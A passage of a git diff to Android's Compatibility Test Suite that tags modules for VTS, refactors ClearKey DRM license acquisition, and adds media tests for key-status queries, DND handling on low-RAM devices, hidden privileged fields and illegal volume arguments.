 LOCAL_PACKAGE_NAME := CtsLibcoreFileIOTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/libcorelegacy22/Android.mk b/tests/tests/libcorelegacy22/Android.mk
index 2788337..d2468c3 100644
--- a/tests/tests/libcorelegacy22/Android.mk
+++ b/tests/tests/libcorelegacy22/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_SDK_VERSION := 22
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/location/Android.mk b/tests/tests/location/Android.mk
index b2fba89..a0b8142 100644
--- a/tests/tests/location/Android.mk
+++ b/tests/tests/location/Android.mk
@@ -48,7 +48,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner  apache-commons-math
 
diff --git a/tests/tests/location2/Android.mk b/tests/tests/location2/Android.mk
index de01ba8..5b9f327 100644
--- a/tests/tests/location2/Android.mk
+++ b/tests/tests/location2/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner junit legacy-android-test
 
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index 9db91bb..e03eb76 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -77,7 +77,7 @@
 LOCAL_JAVA_LIBRARIES += android.test.runner org.apache.http.legacy
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
 
diff --git a/tests/tests/media/libaudiojni/audio-record-native.cpp b/tests/tests/media/libaudiojni/audio-record-native.cpp
index f771d9b..f0211e6 100644
--- a/tests/tests/media/libaudiojni/audio-record-native.cpp
+++ b/tests/tests/media/libaudiojni/audio-record-native.cpp
@@ -320,6 +320,7 @@
                 b->mOffset += tocopy;
                 if (b->mOffset == b->mSize) {
                     mReadyQueue.pop_front();
+                    queueBuffers();
                 }
             }
             copied = osize - size;
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index aa549b2..a94bbb0 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -493,6 +493,54 @@
     }
 }
 
+static void acquireLicense(
+    JNIEnv* env, const AMediaObjects& aMediaObjects, const AMediaDrmSessionId& sessionId,
+    AMediaDrmKeyType keyType) {
+    // Pointer to keyRequest memory, which remains until the next
+    // AMediaDrm_getKeyRequest call or until the drm object is released.
+    const uint8_t* keyRequest;
+    size_t keyRequestSize = 0;
+    std::string errorMessage;
+
+    // The server recognizes "video/mp4" but not "video/avc".
+    media_status_t status = AMediaDrm_getKeyRequest(aMediaObjects.getDrm(),
+            &sessionId, kClearkeyPssh, sizeof(kClearkeyPssh),
+            "video/mp4" /*mimeType*/, keyType,
+            NULL, 0, &keyRequest, &keyRequestSize);
+    if (status != AMEDIA_OK) {
+        errorMessage.assign("getKeyRequest failed, error = %d");
+        goto errorOut;
+    }
+
+    if (kKeyRequestSize != keyRequestSize) {
+        ALOGE("Invalid keyRequestSize %zd", kKeyRequestSize);
+        errorMessage.assign("Invalid key request size, error = %d");
+        status = AMEDIA_DRM_NEED_KEY;
+        goto errorOut;
+    }
+
+    if (memcmp(kKeyRequestData, keyRequest, kKeyRequestSize) != 0) {
+        errorMessage.assign("Invalid key request data is returned, error = %d");
+        status = AMEDIA_DRM_NEED_KEY;
+        goto errorOut;
+    }
+
+    AMediaDrmKeySetId keySetId;
+    gGotVendorDefinedEvent = false;
+    status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
+            reinterpret_cast<const uint8_t*>(kResponse),
+            sizeof(kResponse), &keySetId);
+    if (status == AMEDIA_OK) {
+        return;  // success
+    }
+
+    errorMessage.assign("provideKeyResponse failed, error = %d");
+
+errorOut:
+    AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+    jniThrowExceptionFmt(env, "java/lang/RuntimeException", errorMessage.c_str(), status);
+}
+
 extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest_testClearKeyPlaybackNative(
     JNIEnv* env, jclass /*clazz*/, jbyteArray uuid, jobject playbackParams) {
     if (NULL == uuid || NULL == playbackParams) {
@@ -562,44 +610,7 @@
         return JNI_FALSE;
     }
 
-    // Pointer to keyRequest memory, which remains until the next
-    // AMediaDrm_getKeyRequest call or until the drm object is released.
-    const uint8_t* keyRequest;
-    size_t keyRequestSize = 0;
-
-    // The server recognizes "video/mp4" but not "video/avc".
-    status = AMediaDrm_getKeyRequest(aMediaObjects.getDrm(), &sessionId,
-            kClearkeyPssh, sizeof(kClearkeyPssh),
-            "video/mp4" /*mimeType*/, KEY_TYPE_STREAMING,
-            NULL, 0, &keyRequest, &keyRequestSize);
-    if (status != AMEDIA_OK) {
-        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                "getKeyRequest failed, error = %d", status);
-        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-        return JNI_FALSE;
-    }
-
-    if (kKeyRequestSize != keyRequestSize) {
-        ALOGE("Invalid keyRequestSize %zd", keyRequestSize);
-        return JNI_FALSE;
-    }
-
-    if (memcmp(kKeyRequestData, keyRequest, kKeyRequestSize) != 0) {
-        ALOGE("Invalid keyRequest data is returned");
-        return JNI_FALSE;
-    }
-
-    AMediaDrmKeySetId keySetId;
-    gGotVendorDefinedEvent = false;
-    status = AMediaDrm_provideKeyResponse(aMediaObjects.getDrm(), &sessionId,
-            reinterpret_cast<const uint8_t*>(kResponse),
-            sizeof(kResponse), &keySetId);
-    if (status != AMEDIA_OK) {
-        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
-                "provideKeyResponse failed, error = %d", status);
-        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
-        return JNI_FALSE;
-    }
+    acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
 
     // Check if the event listener has received the expected event sent by
     // provideKeyResponse. This is for testing AMediaDrm_setOnEventListener().
@@ -635,6 +646,99 @@
     return JNI_TRUE;
 }
 
+extern "C" jboolean Java_android_media_cts_NativeClearKeySystemTest_testQueryKeyStatusNative(
+    JNIEnv* env, jclass /*clazz*/, jbyteArray uuid) {
+
+    if (NULL == uuid) {
+        jniThrowException(env, "java/lang/NullPointerException", "null uuid");
+        return JNI_FALSE;
+    }
+
+    Uuid juuid = jbyteArrayToUuid(env, uuid);
+    if (!isUuidSizeValid(juuid)) {
+        jniThrowExceptionFmt(env, "java/lang/IllegalArgumentException",
+                "invalid UUID size, expected %u bytes", kUuidSize);
+        return JNI_FALSE;
+    }
+
+    AMediaObjects aMediaObjects;
+    media_status_t status = AMEDIA_OK;
+    aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
+    if (NULL == aMediaObjects.getDrm()) {
+        jniThrowException(env, "java/lang/RuntimeException", "failed to create drm");
+        return JNI_FALSE;
+    }
+
+    AMediaDrmSessionId sessionId;
+    status = AMediaDrm_openSession(aMediaObjects.getDrm(), &sessionId);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "openSession failed");
+        return JNI_FALSE;
+    }
+
+    size_t numPairs = 3;
+    AMediaDrmKeyValue keyStatus[numPairs];
+
+    // Test default key status, should return zero key status
+    status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+    if (status != AMEDIA_OK) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus failed, error = %d", status);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    if (numPairs != 0) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus failed, no policy should be defined");
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    acquireLicense(env, aMediaObjects, sessionId, KEY_TYPE_STREAMING);
+
+    // Test short buffer
+    numPairs = 2;
+    status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+    if (status != AMEDIA_DRM_SHORT_BUFFER) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus should return AMEDIA_DRM_SHORT_BUFFER, error = %d",
+                        status);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    // Test valid key status
+    numPairs = 3;
+    status = AMediaDrm_queryKeyStatus(aMediaObjects.getDrm(), &sessionId, keyStatus, &numPairs);
+    if (status != AMEDIA_OK) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus failed, error = %d", status);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    for (size_t i = 0; i < numPairs; ++i) {
+        ALOGI("AMediaDrm_queryKeyStatus: key=%s, value=%s", keyStatus[i].mKey, keyStatus[i].mValue);
+    }
+
+    if (numPairs !=  3) {
+        jniThrowExceptionFmt(env, "java/lang/RuntimeException",
+                "AMediaDrm_queryKeyStatus returns %zd key status, expecting 3", numPairs);
+        AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+        return JNI_FALSE;
+    }
+
+    status = AMediaDrm_closeSession(aMediaObjects.getDrm(), &sessionId);
+    if (status != AMEDIA_OK) {
+        jniThrowException(env, "java/lang/RuntimeException",
+                "closeSession failed");
+        return JNI_FALSE;
+    }
+    return JNI_TRUE;
+}
+
 static JNINativeMethod gMethods[] = {
     { "isCryptoSchemeSupportedNative", "([B)Z",
             (void *)Java_android_media_cts_NativeClearKeySystemTest_isCryptoSchemeSupportedNative },
@@ -649,6 +753,9 @@
 
     { "testPsshNative", "([BLjava/lang/String;)Z",
             (void *)Java_android_media_cts_NativeClearKeySystemTest__testPsshNative },
+
+    { "testQueryKeyStatusNative", "([B)Z",
+            (void *)Java_android_media_cts_NativeClearKeySystemTest_testQueryKeyStatusNative },
 };
 
 int register_android_media_cts_NativeClearKeySystemTest(JNIEnv* env) {
diff --git a/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4 b/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
new file mode 100644
index 0000000..2822d20
--- /dev/null
+++ b/tests/tests/media/res/raw/binary_counter_320x240_720x240_30fps_600frames.mp4
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
new file mode 100644
index 0000000..af2c7ac
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
new file mode 100644
index 0000000..d1c88fe
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
new file mode 100644
index 0000000..ddae12f
--- /dev/null
+++ b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
new file mode 100644
index 0000000..78bad13
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
new file mode 100644
index 0000000..c7d8429
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
new file mode 100644
index 0000000..c8d4afa
--- /dev/null
+++ b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
index 74b8b4d..ab7e4b6 100644
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
@@ -36,6 +36,7 @@
 import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
 import static android.provider.Settings.System.SOUND_EFFECTS_ENABLED;
 
+import android.app.ActivityManager;
 import android.app.NotificationManager;
 import android.content.Context;
 import android.content.res.Resources;
@@ -65,9 +66,15 @@
     private boolean mIsTelevision;
     private boolean mIsSingleVolume;
     private boolean mSkipRingerTests;
+    // From N onwards, ringer mode adjustments that toggle DND are not allowed unless
+    // package has DND access. Many tests in this package toggle DND access in order
+    // to get device out of the DND state for the test to proceed correctly.
+    // But DND access is disabled completely on low ram devices,
+    // so completely skip those tests here.
+    // These tests are migrated to CTS verifier tests to ensure test coverage.
+    private boolean mSupportNotificationPolicyAccess;
     private Context mContext;
     private final static int ASYNC_TIMING_TOLERANCE_MS = 50;
-
     private int mOriginalRingerMode;
     private Map<Integer, Integer> mOriginalStreamVolumes = new HashMap<>();
 
@@ -89,6 +96,8 @@
         mIsSingleVolume = mContext.getResources().getBoolean(
                 Resources.getSystem().getIdentifier("config_single_volume", "bool", "android"));
         mSkipRingerTests = mUseFixedVolume || mIsTelevision || mIsSingleVolume;
+        ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+        mSupportNotificationPolicyAccess = !am.isLowRamDevice();
 
         // Store the original volumes that that they can be recovered in tearDown().
         final int[] streamTypes = {
@@ -109,6 +118,9 @@
 
     @Override
     protected void tearDown() throws Exception {
+        if (!mSupportNotificationPolicyAccess) {
+            return;
+        }
         try {
             Utils.toggleNotificationPolicyAccess(
                     mContext.getPackageName(), getInstrumentation(), true);
@@ -133,15 +145,6 @@
     }
 
     public void testSoundEffects() throws Exception {
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            // set relative setting
-            mAudioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-        }
         Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
 
         // should hear sound after loadSoundEffects() called.
@@ -239,7 +242,7 @@
     }
 
     public void testVibrateNotification() throws Exception {
-        if (mUseFixedVolume || !mHasVibrator) {
+        if (mUseFixedVolume || !mHasVibrator || !mSupportNotificationPolicyAccess) {
             return;
         }
         Utils.toggleNotificationPolicyAccess(
@@ -302,7 +305,7 @@
     }
 
     public void testVibrateRinger() throws Exception {
-        if (mUseFixedVolume || !mHasVibrator) {
+        if (mUseFixedVolume || !mHasVibrator || !mSupportNotificationPolicyAccess) {
             return;
         }
         Utils.toggleNotificationPolicyAccess(
@@ -366,6 +369,9 @@
     }
 
     public void testAccessRingMode() throws Exception {
+        if (!mSupportNotificationPolicyAccess) {
+            return;
+        }
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
         mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
@@ -390,7 +396,7 @@
     }
 
     public void testSetRingerModePolicyAccess() throws Exception {
-        if (mSkipRingerTests) {
+        if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
             return;
         }
         // Apps without policy access cannot change silent -> normal or silent -> vibrate.
@@ -453,7 +459,7 @@
     }
 
     public void testVolumeDndAffectedStream() throws Exception {
-        if (mHasVibrator || mSkipRingerTests) {
+        if (mHasVibrator || mSkipRingerTests || !mSupportNotificationPolicyAccess) {
             return;
         }
         Utils.toggleNotificationPolicyAccess(
@@ -493,6 +499,9 @@
     }
 
     public void testVolume() throws Exception {
+        if (!mSupportNotificationPolicyAccess) {
+            return;
+        }
         Utils.toggleNotificationPolicyAccess(
                 mContext.getPackageName(), getInstrumentation(), true);
         int volume, volumeDelta;
@@ -708,7 +717,7 @@
     }
 
     public void testMuteDndAffectedStreams() throws Exception {
-        if (mSkipRingerTests) {
+        if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
             return;
         }
         int[] streams = { AudioManager.STREAM_RING };
@@ -782,7 +791,7 @@
     }
 
     public void testMuteDndUnaffectedStreams() throws Exception {
-        if (mSkipRingerTests) {
+        if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
             return;
         }
         int[] streams = {
@@ -868,7 +877,7 @@
     }
 
     public void testAdjustVolumeInTotalSilenceMode() throws Exception {
-        if (mSkipRingerTests) {
+        if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
             return;
         }
         try {
@@ -888,7 +897,7 @@
     }
 
     public void testAdjustVolumeInAlarmsOnlyMode() throws Exception {
-        if (mSkipRingerTests) {
+        if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
             return;
         }
         try {
@@ -911,7 +920,7 @@
     }
 
     public void testSetStreamVolumeInTotalSilenceMode() throws Exception {
-        if (mSkipRingerTests) {
+        if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
             return;
         }
         try {
@@ -933,7 +942,7 @@
     }
 
     public void testSetStreamVolumeInAlarmsOnlyMode() throws Exception {
-        if (mSkipRingerTests) {
+        if (mSkipRingerTests || !mSupportNotificationPolicyAccess) {
             return;
         }
         try {
@@ -953,6 +962,19 @@
         }
     }
 
+    public void testAdjustVolumeWithIllegalDirection() throws Exception {
+        // Call the method with illegal direction. System should not reboot.
+        mAudioManager.adjustVolume(37, 0);
+    }
+
+    public void testAdjustSuggestedStreamVolumeWithIllegalArguments() throws Exception {
+        // Call the method with illegal direction. System should not reboot.
+        mAudioManager.adjustSuggestedStreamVolume(37, AudioManager.STREAM_MUSIC, 0);
+
+        // Call the method with illegal stream. System should not reboot.
+        mAudioManager.adjustSuggestedStreamVolume(AudioManager.ADJUST_RAISE, 66747, 0);
+    }
+
     private void setInterruptionFilter(int filter) throws Exception {
         mNm.setInterruptionFilter(filter);
         for (int i = 0; i < 5; i++) {
diff --git a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
index 61edbba..068087d 100644
--- a/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
+++ b/tests/tests/media/src/android/media/cts/AudioRecordingConfigurationTest.java
@@ -20,6 +20,7 @@
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
 import android.media.AudioManager;
+import android.media.AudioPlaybackConfiguration;
 import android.media.AudioRecord;
 import android.media.AudioRecordingConfiguration;
 import android.media.MediaRecorder;
@@ -31,6 +32,7 @@
 
 import com.android.compatibility.common.util.CtsAndroidTestCase;
 
+import java.lang.reflect.Method;
 import java.util.ArrayList;
 import java.util.Iterator;
 import java.util.List;
@@ -127,6 +129,9 @@
                 verifyAudioConfig(TEST_AUDIO_SOURCE, mAudioRecord.getAudioSessionId(),
                         mAudioRecord.getFormat(), mAudioRecord.getRoutedDevice(), configs));
 
+        // testing public API here: verify no system-privileged info is exposed through reflection
+        verifyPrivilegedInfoIsSafe(configs.get(0));
+
         // stopping recording: verify there are less active record configurations
         mAudioRecord.stop();
         Thread.sleep(SLEEP_AFTER_STOP_FOR_INACTIVITY_MS);
@@ -181,6 +186,10 @@
                     testDevice, callback.mConfigs);
             assertTrue("Expected record configuration was not found", match);
 
+            // testing public API here: verify no system-privileged info is exposed through
+            // reflection
+            verifyPrivilegedInfoIsSafe(callback.mConfigs.get(0));
+
             // stopping recording: callback is called with no match
             callback.reset();
             mAudioRecord.stop();
@@ -303,4 +312,20 @@
         return getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_MICROPHONE);
     }
+
+    private static void verifyPrivilegedInfoIsSafe(AudioRecordingConfiguration config) {
+        // verify "privileged" fields aren't available through reflection
+        final Class<?> confClass = config.getClass();
+        try {
+            final Method getClientUidMethod = confClass.getDeclaredMethod("getClientUid");
+            final Method getClientPackageName = confClass.getDeclaredMethod("getClientPackageName");
+            Integer uid = (Integer) getClientUidMethod.invoke(config, null);
+            assertEquals("client uid isn't protected", -1 /*expected*/, uid.intValue());
+            String name = (String) getClientPackageName.invoke(config, null);
+            assertNotNull("client package name is null", name);
+            assertEquals("client package name isn't protected", 0 /*expected*/, name.length());
+        } catch (Exception e) {
+            fail("Exception thrown during reflection on config privileged fields" + e);
+        }
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
index 30822b4..d43dce1 100644
--- a/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/ClearKeySystemTest.java
@@ -31,6 +31,7 @@
 import android.net.Uri;
 import android.os.Environment;
 import android.os.Looper;
+import android.support.annotation.NonNull;
 import android.test.ActivityInstrumentationTestCase2;
 import android.util.Base64;
 import android.util.Log;
@@ -42,8 +43,10 @@
 import java.nio.charset.Charset;
 import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
+import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
+import java.util.Set;
 import java.util.UUID;
 import java.util.Vector;
 
@@ -87,8 +90,10 @@
     private static final Uri MPEG2TS_CLEAR_URL = Uri.parse(
             "android.resource://android.media.cts/" + R.raw.segment000001);
 
-    private static final UUID CLEARKEY_SCHEME_UUID =
+    private static final UUID COMMON_PSSH_SCHEME_UUID =
             new UUID(0x1077efecc0b24d02L, 0xace33c1e52e2fb4bL);
+    private static final UUID CLEARKEY_SCHEME_UUID =
+            new UUID(0xe2719d58a985b3c9L, 0x781ab030af78d30eL);
 
     private byte[] mDrmInitData;
     private byte[] mSessionId;
@@ -220,7 +225,7 @@
         }
     }
 
-    private MediaDrm startDrm(final byte[][] clearKeys, final String initDataType) {
+    private @NonNull MediaDrm startDrm(final byte[][] clearKeys, final String initDataType, final UUID drmSchemeUuid) {
         new Thread() {
             @Override
             public void run() {
@@ -232,7 +237,7 @@
                 mLooper = Looper.myLooper();
 
                 try {
-                    mDrm = new MediaDrm(CLEARKEY_SCHEME_UUID);
+                    mDrm = new MediaDrm(drmSchemeUuid);
                 } catch (MediaDrmException e) {
                     Log.e(TAG, "Failed to create MediaDrm: " + e.getMessage());
                     return;
@@ -277,7 +282,7 @@
         mLooper.quit();
     }
 
-    private byte[] openSession(MediaDrm drm) {
+    private @NonNull byte[] openSession(MediaDrm drm) {
         byte[] mSessionId = null;
         boolean mRetryOpen;
         do {
@@ -295,7 +300,7 @@
         drm.closeSession(sessionId);
     }
 
-    public boolean isResolutionSupported(String mime, String[] features,
+    private boolean isResolutionSupported(String mime, String[] features,
             int videoWidth, int videoHeight) {
         if (ApiLevelUtil.isBefore(android.os.Build.VERSION_CODES.JELLY_BEAN)) {
             if  (videoHeight <= 144) {
@@ -331,6 +336,7 @@
      * Tests clear key system playback.
      */
     private void testClearKeyPlayback(
+            UUID drmSchemeUuid,
             String videoMime, String[] videoFeatures,
             String initDataType, byte[][] clearKeys,
             Uri audioUrl, boolean audioEncrypted,
@@ -339,12 +345,8 @@
         MediaDrm drm = null;
         mSessionId = null;
         if (!scrambled) {
-            drm = startDrm(clearKeys, initDataType);
-            if (null == drm) {
-                throw new Error("Failed to create drm.");
-            }
-
-            if (!drm.isCryptoSchemeSupported(CLEARKEY_SCHEME_UUID)) {
+            drm = startDrm(clearKeys, initDataType, drmSchemeUuid);
+            if (!drm.isCryptoSchemeSupported(drmSchemeUuid)) {
                 stopDrm(drm);
                 throw new Error("Crypto scheme is not supported.");
             }
@@ -411,8 +413,80 @@
         }
     }
 
+    private boolean queryKeyStatus(@NonNull final MediaDrm drm, @NonNull final byte[] sessionId) {
+        final HashMap<String, String> keyStatus = drm.queryKeyStatus(sessionId);
+        if (keyStatus.isEmpty()) {
+            Log.e(TAG, "queryKeyStatus: empty key status");
+            return false;
+        }
+
+        final Set<String> keySet = keyStatus.keySet();
+        final int numKeys = keySet.size();
+        final String[] keys = keySet.toArray(new String[numKeys]);
+        for (int i = 0; i < numKeys; ++i) {
+            final String key = keys[i];
+            Log.i(TAG, "queryKeyStatus: key=" + key + ", value=" + keyStatus.get(key));
+        }
+
+        return true;
+    }
+
+    public void testQueryKeyStatus() throws Exception {
+        MediaDrm drm = startDrm(new byte[][] { CLEAR_KEY_CENC }, "cenc", COMMON_PSSH_SCHEME_UUID);
+        if (!drm.isCryptoSchemeSupported(COMMON_PSSH_SCHEME_UUID)) {
+            stopDrm(drm);
+            throw new Error("Crypto scheme is not supported.");
+        }
+
+        mSessionId = openSession(drm);
+
+        // Test default key status, should not be defined
+        final HashMap<String, String> keyStatus = drm.queryKeyStatus(mSessionId);
+        if (!keyStatus.isEmpty()) {
+            closeSession(drm, mSessionId);
+            stopDrm(drm);
+            throw new Error("query default key status failed");
+        }
+
+        // Test valid key status
+        mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
+                getActivity().getSurfaceHolder(),
+                mSessionId, false,
+                mContext.getResources());
+        mMediaCodecPlayer.setAudioDataSource(CENC_AUDIO_URL, null, false);
+        mMediaCodecPlayer.setVideoDataSource(CENC_VIDEO_URL, null, true);
+        mMediaCodecPlayer.start();
+        mMediaCodecPlayer.prepare();
+
+        mDrmInitData = mMediaCodecPlayer.getDrmInitData();
+        getKeys(drm, "cenc", mSessionId, mDrmInitData, new byte[][] { CLEAR_KEY_CENC });
+        boolean success = true;
+        if (!queryKeyStatus(drm, mSessionId)) {
+            success = false;
+        }
+
+        mMediaCodecPlayer.reset();
+        closeSession(drm, mSessionId);
+        stopDrm(drm);
+        if (!success) {
+            throw new Error("query key status failed");
+        }
+    }
+
     public void testClearKeyPlaybackCenc() throws Exception {
         testClearKeyPlayback(
+            COMMON_PSSH_SCHEME_UUID,
+            // using secure codec even though it is clear key DRM
+            MIME_VIDEO_AVC, new String[] { CodecCapabilities.FEATURE_SecurePlayback },
+            "cenc", new byte[][] { CLEAR_KEY_CENC },
+            CENC_AUDIO_URL, false,
+            CENC_VIDEO_URL, true,
+            VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC, false);
+    }
+
+    public void testClearKeyPlaybackCenc2() throws Exception {
+        testClearKeyPlayback(
+            CLEARKEY_SCHEME_UUID,
             // using secure codec even though it is clear key DRM
             MIME_VIDEO_AVC, new String[] { CodecCapabilities.FEATURE_SecurePlayback },
             "cenc", new byte[][] { CLEAR_KEY_CENC },
@@ -423,6 +497,7 @@
 
     public void testClearKeyPlaybackWebm() throws Exception {
         testClearKeyPlayback(
+            COMMON_PSSH_SCHEME_UUID,
             MIME_VIDEO_VP8, new String[0],
             "webm", new byte[][] { CLEAR_KEY_WEBM },
             WEBM_URL, true,
@@ -432,6 +507,7 @@
 
     public void testClearKeyPlaybackMpeg2ts() throws Exception {
         testClearKeyPlayback(
+            COMMON_PSSH_SCHEME_UUID,
             MIME_VIDEO_AVC, new String[0],
             "mpeg2ts", null,
             MPEG2TS_SCRAMBLED_URL, false,
@@ -441,6 +517,7 @@
 
     public void testPlaybackMpeg2ts() throws Exception {
         testClearKeyPlayback(
+            COMMON_PSSH_SCHEME_UUID,
             MIME_VIDEO_AVC, new String[0],
             "mpeg2ts", null,
             MPEG2TS_CLEAR_URL, false,
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index 0c98259..72eddf1 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -137,7 +137,8 @@
     @TargetApi(16)
     static class SimplePlayer {
 
-        public static final long MIN_MS_PER_FRAME = TimeUnit.SECONDS.toMillis(1) / 10; // 10 FPS
+        public static final long MIN_MS_PER_FRAME = TimeUnit.SECONDS.toMillis(1) / 5; // 5 FPS
+        public static final long STARTUP_ALLOW_MS = TimeUnit.SECONDS.toMillis(1) ;
         public static final int END_OF_STREAM = -1;
         public static final int DEQUEUE_SUCCESS = 1;
         public static final int DEQUEUE_FAIL = 0;
@@ -184,7 +185,7 @@
             if (prepareVideoDecode(videoFormat)) {
                 if (startDecoder()) {
                     final long timeout =
-                            Math.max(MIN_MS_PER_FRAME, msPerFrameCap) * numOfTotalFrames * 2;
+                            Math.max(MIN_MS_PER_FRAME, msPerFrameCap) * numOfTotalFrames + STARTUP_ALLOW_MS;
                     playerResult = decodeFramesAndPlay(numOfTotalFrames, timeout, msPerFrameCap);
                 } else {
